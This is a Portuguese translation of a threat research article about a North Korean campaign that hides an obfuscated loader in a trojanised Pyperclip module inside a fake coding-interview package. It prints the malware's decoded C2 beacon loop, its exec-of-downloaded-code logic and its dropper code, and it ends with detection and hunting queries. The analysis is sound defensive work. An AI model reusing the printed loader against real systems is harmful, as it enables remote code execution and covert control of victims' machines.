Colson Wilhoit

Código de Conduta: Intrusões alimentadas por Python da RPDC em redes seguras

Investigando o uso estratégico do Python e da engenharia social cuidadosamente elaborada pela RPDC, esta publicação esclarece como eles violam redes altamente seguras com ataques cibernéticos eficazes e em evolução.

Código de conduta: intrusões da RPDC alimentadas por Python em redes seguras

Preâmbulo

Poucos agentes de ameaças atraíram tanta atenção e notoriedade no mundo obscuro das operações cibernéticas patrocinadas pelo Estado quanto a República Popular Democrática da Coreia (RPDC). Grupos de ameaça afiliados à RPDC têm demonstrado consistentemente seu uso de táticas de engenharia social aliadas a capacidades táticas. Na vanguarda de seu arsenal está uma arma inesperada: Python.

Essa linguagem de programação versátil, valorizada por sua acessibilidade e poder, se tornou a ferramenta para agentes da RPDC que buscam acesso inicial aos sistemas alvo. Esses agentes de ameaças penetraram com sucesso em algumas das redes mais seguras do mundo por meio de uma combinação potente de esquemas de engenharia social meticulosamente elaborados e código Python elegantemente disfarçado.

Esta publicação examinará o uso de engenharia social e iscas baseadas em Python pela RPDC para acesso inicial. Com base na pesquisa publicada pela equipe do Reversing Labs para a campanha chamada VMConnect, exploraremos um exemplo real muito recente, dissecaremos o código e examinaremos o que torna esses ataques tão eficazes. Ao compreender essas técnicas, pretendemos lançar luz sobre o cenário em evolução das ameaças cibernéticas patrocinadas pelo Estado e equipar os defensores com o conhecimento para combatê-las.

Principais conclusões

  • A sofisticação das táticas de engenharia social da RPDC geralmente envolve o desenvolvimento de personas de longo prazo e narrativas direcionadas.
  • O uso do Python por sua facilidade de ofuscação, amplo suporte de biblioteca e capacidade de se misturar com atividades legítimas do sistema.
  • Essas iscas evidenciam a evolução contínua das técnicas da RPDC, o que destaca a necessidade de vigilância e adaptação contínuas nas estratégias de defesa cibernética.
  • O script Python desta campanha inclui módulos que permitem a execução de comandos do sistema e a gravação e execução de arquivos locais

RookeryCapital_PythonTest.zip

Este exemplo é distribuído sob o disfarce de um desafio de codificação Python para uma entrevista de emprego na “Capital One”. Ele contém um módulo Python conhecido que parece inocente à primeira vista. Este módulo inclui funcionalidade padrão de gerenciamento de área de transferência, mas também abriga código ofuscado capaz de extrair dados e executar comandos arbitrários.

Usando técnicas de codificação como Base64 e ROT13, o invasor camuflou funcionalidades perigosas para evitar a detecção por revisores humanos e verificações de segurança automatizadas. O código alcança um servidor remoto, baixando e executando comandos disfarçados de operações da área de transferência. É um exemplo perfeito de quão facilmente uma funcionalidade maliciosa pode ser mascarada em código padrão.

Analisaremos esta aplicação Python linha por linha, descobrindo como ela:

  • Estabelece uma conexão com um servidor malicioso
  • Executa comandos ocultos por meio de execução remota de código (RCE)
  • Usa técnicas comuns de ofuscação para voar sob o radar
  • Incorpora mecanismos de repetição persistentes para garantir uma comunicação bem-sucedida

Gerenciador de Senhas.py

Este “Desafio Python” é fornecido por meio de um arquivo .zip contendo um aplicativo Python chamado “PasswordManager”. Este aplicativo consiste principalmente em um script principal, PasswordManager.py, e dois módulos Python, Pyperclip e Pyrebase.

Examinando primeiro o arquivo README.md , fica evidente que se trata de algum tipo de desafio ou avaliação de entrevista, mas o que imediatamente despertou nosso interesse foram as seguintes linhas:

Isso foi interessante porque eles queriam garantir que o aplicativo fosse executado antes que o usuário fizesse qualquer alteração que pudesse causar a interrupção ou tornar perceptível determinada funcionalidade.

O arquivo principal PasswordManager.py parece com o que está por trás de um aplicativo básico de gerenciamento de senhas em Python. Claro, como observamos acima, o aplicativo importa dois módulos de terceiros (Pyperclip e Pyrebase) para este script principal.

Pyperclip module

O módulo Pyperclip tem dois arquivos, __init__.py e __main__.py.

Em Python, os módulos geralmente consistem em vários arquivos, sendo dois importantes __init__.py e __main__.py. O arquivo __init__.py inicializa um pacote Python, permitindo que ele funcione quando importado, enquanto o arquivo __main__.py permite que o módulo seja executado como um programa independente.

iniciar.py

__init__.py é o primeiro módulo a ser importado e facilita principalmente as operações da área de transferência em várias plataformas (Windows, macOS, Linux, etc.). A maior parte desse código foi projetada para detectar a plataforma (Windows, Linux, macOS) e fornecer as funções apropriadas de manipulação da área de transferência (copiar, colar), contando com utilitários nativos (por exemplo, pbcopy para macOS, xclip para Linux) ou bibliotecas Python (por exemplo, gtk, PyQt4/PyQt5).

As importações revelam funcionalidades potencialmente interessantes ou suspeitas de bibliotecas como base64, codecs, subprocess e tempfile. O módulo base64 fornece recursos de codificação ou decodificação, que podem ser usados para ocultar ou ofuscar informações confidenciais. Quando pareado com codecs, outro módulo frequentemente usado para codificar ou decodificar texto (neste caso, usando a cifra ROT13), fica claro que o script está manipulando dados para evitar a detecção.

A presença do módulo subprocess é particularmente preocupante. Este módulo permite que o script execute comandos do sistema, abrindo a porta para a execução de código arbitrário na máquina. Este módulo pode executar scripts externos, iniciar processos ou instalar binários maliciosos.

A inclusão do tempfile module também é digna de nota. Este módulo cria arquivos temporários que podem ser gravados e executados, uma técnica comum que malware usa para esconder seus rastros. Este módulo sugere que o script pode estar gravando conteúdo no disco e executando-o em um diretório temporário.

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py importações

Analisando o script, um grande blob codificado em base64 atribuído à variável req_self rapidamente se destaca.

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

Decodificar essa string codificada em Base64 revela um script Python totalmente novo e independente com um código muito interessante.

Script Python ofuscado

O script importa várias bibliotecas padrão (por exemplo, requests, random, platform), permitindo gerar dados aleatórios, interagir com o sistema operacional, codificar/decodificar strings e fazer solicitações de rede.

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

Importações de script Python codificado

O script contém duas funções chamadas co e rand_n.

A função co opera como uma função auxiliar. Esta função verifica o sistema operacional atual (osn). Ele usa a função codecs.decode com codificação ROT13 para decodificar a string Jvaqbjf, que resulta em Windows. Se o sistema operacional for Windows, ele retorna 0; caso contrário, ele retorna 1.

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co função dentro do script Python codificado

A decodificação do ROT13 pode ser feita facilmente no macOS ou Linux CLI ou com a receita do ROT13 CyberChef.

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

A função rand_n gera um número pseudoaleatório de 8 dígitos a partir da string 123456789. Provavelmente é usado como um identificador (uid) em comunicações posteriores com o servidor remoto.

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n função dentro do script Python codificado

Após as declarações de função, o script define um conjunto de variáveis com valores codificados que serão utilizados.

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

Variáveis de script Python codificadas

  • uid: Identificador aleatório gerado usando rand_n()
  • oi:A plataforma do sistema operacional
  • url: Após a decodificação usando ROT13, isso resolve para uma URL para um servidor malicioso (https://akamaitechnologies[.]online). O agente da ameaça está obviamente tentando escapar da detecção codificando a URL e disfarçando-a como um serviço aparentemente legítimo (Akamai), que é um provedor de CDN conhecido.
  • data:Esta é a carga de dados sendo enviada ao servidor. Inclui uma string decodificada (Amazon[.]com), o uid aleatório e o resultado de co(oi) que verifica se o sistema operacional é Windows.

A última parte do script é o loop while principal.

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

Script Python codificado, loop while principal

O primeiro bloco try envia uma solicitação HTTP POST para o servidor malicioso (url) com os cabeçalhos e dados. Se o servidor responder com um código de status diferente de 200 OK, o script aguardará 60 segundos e tentará novamente.

Caso contrário, se a resposta começar com a string decodificada 'Google.com' e o comprimento da resposta for maior que 15, ele extrai uma parte codificada em base64 da resposta. Em seguida, ele decodifica essa parte e executa o script decodificado usando exec(compile(dec_res, '', 'exec'), globals()). Isso permite que o invasor envie código Python arbitrário para ser executado na máquina da vítima.

Perto do final do loop, ele define variáveis globais com o uid aleatório e a URL usada na comunicação com o servidor remoto. Isso é usado posteriormente ao executar a carga baixada.

Agora que entendemos o propósito do script Python codificado, vamos voltar ao script __inity__.py e analisar a função que executa a seção codificada em base64.

inity.py - Inidade.py

De volta ao script __inity__.py , podemos procurar qualquer outra referência à variável req_self para ver o que o script faz com esse script Python codificado. Encontramos uma única referência localizada em uma função definida como cert_acc.

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
ct_type = platform.system()

Esta variável recupera o tipo de sistema operacional atual (por exemplo, Windows, Linux, Darwin para macOS) usando a função platform.system() . O valor é armazenado na variável ct_type .

l_p = tempfile.gettempdir()

Esta variável chama tempfile.gettempdir() function, que retorna o caminho para o diretório temporário do sistema. Este diretório é comumente usado para armazenar arquivos temporários que o sistema ou os programas criam e depois excluem na reinicialização. O valor é atribuído a l_p.

O bloco if-else aproveita a função de decodificação da biblioteca de codecs usando ROT13 para decodificar a string Jvaqbjf, que se traduz em Windows. Isso verifica se o tipo de sistema é Windows. Se o sistema for Windows, o código anexa uma string decodificada por ROT13 (que se torna \eronfr.gzc, \rebase.tmp após a decodificação) ao caminho do diretório temporário l_p. Em seguida, ele constrói um comando header_ops, que provavelmente combina a variável push_opr decodificada (também usando ROT13) com o caminho.

Se o sistema não for Windows, ele anexa um caminho de arquivo semelhante ao Unix /eronfr.gzc (/rebase.tmp após a decodificação) e constrói um comando semelhante usando push_ops. Esta parte do código foi projetada para executar diferentes cargas ou comandos dependendo do sistema operacional.

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

As próximas instruções, começando com request_, servem para escrever o script Python codificado em Base64 que já analisamos para disk in the temporary directory. This code opens a new file in the temporary directory (l_p), which was previously set depending on the system type. The variable req_self` (também uma string codificada em Base64) ser decodificada em sua forma original. O conteúdo decodificado é gravado no arquivo, e o arquivo é fechado.

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

O bloco try final da função facilita a execução do script Python codificado.

Se o tipo de sistema for Windows, o código tenta executar o arquivo (construído em header_ops) usando subprocess.Popen function. O sinalizador DETACHED_PROCESS garante que o processo seja executado independentemente do processo pai, dificultando seu rastreamento.

Se o sistema não for Windows, ele executa o arquivo usando um método de execução diferente (subprocess.Popen com shell=True), que é mais comum para sistemas do tipo Unix (Linux/macOS). O preexec_fn=os.setpgrp torna o processo imune a interrupções de terminal, permitindo que ele seja executado em segundo plano.

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

A função cert_acc executa o script Python ofuscado, que recupera comandos a serem executados dentro da função cert_acc.

O script dentro do pacote Pyperclip exibe sinais claros de comportamento malicioso, usando técnicas de ofuscação como codificação ROT13 e Base64 para esconder sua verdadeira intenção. Ele identifica o sistema operacional e adapta suas ações adequadamente, gravando no disco e executando um script Python ofuscado no diretório temporário do sistema. O script estabelece comunicação com um servidor remoto, permitindo a execução remota de código (RCE) e permitindo que o invasor envie outros comandos. Esse processo cuidadosamente oculto garante que o script seja executado furtivamente, evitando a detecção e mantendo o C2 (Comando e Controle) efetivo sobre a máquina infectada.

Intersecções de campanha

Quando encontramos esse exemplo, também nos deparamos com exemplos adicionais que correspondiam à implementação do código e às iscas de campanha anteriores que observamos na prática.

Essa isca novamente se disfarça como um desafio de codificação Python apresentado sob o disfarce de uma entrevista de emprego. Sua implementação de código Python corresponde exatamente ao código que analisamos acima e, com base na descrição e no nome do arquivo, corresponde à isca descrita pela Mandiant como “CovertCatch”.

A próxima isca é diferente das anteriores, mas corresponde à implementação do código Python que vimos e escrevemos anteriormente. No ano passado, trouxemos à tona o malware conhecido como “KandyKorn”, que tinha como alvo desenvolvedores e engenheiros de criptomoedas.

Estratégias de detecção, caça e mitigação

Detectar e mitigar esse tipo de código malicioso ofuscado e seu comportamento requer uma combinação de medidas de segurança proativas, monitoramento e conscientização do usuário.

A melhor estratégia de mitigação contra essas iscas e campanhas de acesso inicial é educar seus usuários sobre os métodos abrangentes e direcionados que os agentes de ameaças, como a RPDC, empregam para obter execução de código. O conhecimento sobre essas campanhas e a capacidade de reconhecê-las, combinado com uma forte ênfase na análise adequada do código antes da execução, especialmente quando se trata de aplicativos de terceiros como este, de "recrutadores", "fóruns de desenvolvedores", "Github" etc., fornecerá uma base sólida de defesa contra esses ataques.

Em relação a este exemplo especificamente, há algumas detecções diferentes que podemos escrever em torno do comportamento do mecanismo de execução de código e os potenciais casos de uso resultantes associados a essa atividade. Embora essas consultas sejam específicas do macOS, você pode pegá-las e alterá-las para detectar a mesma atividade no Windows também.

[Detecção] Execução de arquivo temporário do shell do subprocesso Python e conexão de rede remota

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

Esta regra procura o comportamento específico exibido quando o exemplo __init__.py grava o script Python ofuscado no disco e utiliza o método subprocess.Popen , definindo a variável shell como True para executar o script Python que se conecta a um servidor remoto para recuperar e executar comandos.

[Hunt] Criação de arquivo executável Python em diretório temporário

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

Se o agente da ameaça tentar usar essa funcionalidade para baixar uma carga executável dentro do diretório temporário já especificado no script, poderemos usar essa regra para procurar a criação de um arquivo executável em um diretório temporário via Python.

[Hunt] Execução de Shell Interativo via Python

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

O agente da ameaça pode usar a funcionalidade de execução para abrir um shell interativo no sistema alvo para executar ações pós-exploração. Vimos atores de estados-nação empregando um shell interativo como este. Poderíamos usar essa regra para procurar a criação desse shell interativo via Python.

[Hunt] Execução suspeita de processo filho Python

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

O agente da ameaça também pode usar esse recurso de execução de código para executar diretamente binários do sistema para vários objetivos ou ações pós-exploração. Esta regra busca a execução direta de algumas ferramentas do sistema local que não são comumente usadas, especialmente via Python.

Conclusão e tendências futuras

Como exploramos ao longo desta análise, a República Popular Democrática da Coreia (RPDC) emergiu como uma força formidável em operações cibernéticas patrocinadas pelo Estado. Combinando engenharia social com iscas baseadas em Python, sua abordagem provou ser bem-sucedida em organizações com ampla maturidade de segurança.

O uso do Python para operações de acesso inicial é uma prova da natureza evolutiva das ameaças cibernéticas. Ao aproveitar essa linguagem de programação versátil e amplamente utilizada, os agentes de ameaças encontraram uma ferramenta poderosa que oferece simplicidade no desenvolvimento e complexidade na ofuscação. Essa natureza dupla do Python em suas mãos provou ser um desafio significativo para os defensores da segurança cibernética.

Nossa análise aprofundada dessa amostra recente forneceu insights valiosos sobre as táticas, técnicas e procedimentos (TTPs) atuais dos agentes de ameaças da RPDC. Este estudo de caso exemplifica como a engenharia social e scripts Python personalizados podem trabalhar em conjunto como vetores de acesso inicial altamente eficazes.

À medida que as operações cibernéticas patrocinadas pelo Estado avançam, os insights obtidos com o estudo dos métodos da RPDC se tornam cada vez mais valiosos. Profissionais de segurança cibernética devem permanecer alertas à dupla ameaça da engenharia social e das ferramentas sofisticadas baseadas em Python. A defesa contra essas ameaças exige uma abordagem multifacetada, incluindo controles técnicos robustos, treinamento abrangente da equipe em táticas de engenharia social e recursos avançados de detecção de ameaças focados na identificação de atividades suspeitas do Python.

À medida que avançamos, é crucial promover a colaboração dentro da comunidade de segurança cibernética e compartilhar insights e estratégias para combater essas ameaças sofisticadas. Esperamos permanecer à frente neste jogo de xadrez cibernético em andamento contra atores patrocinados pelo Estado, como a RPDC, por meio de vigilância coletiva e mecanismos de defesa adaptativos.

Recursos

Compartilhe este artigo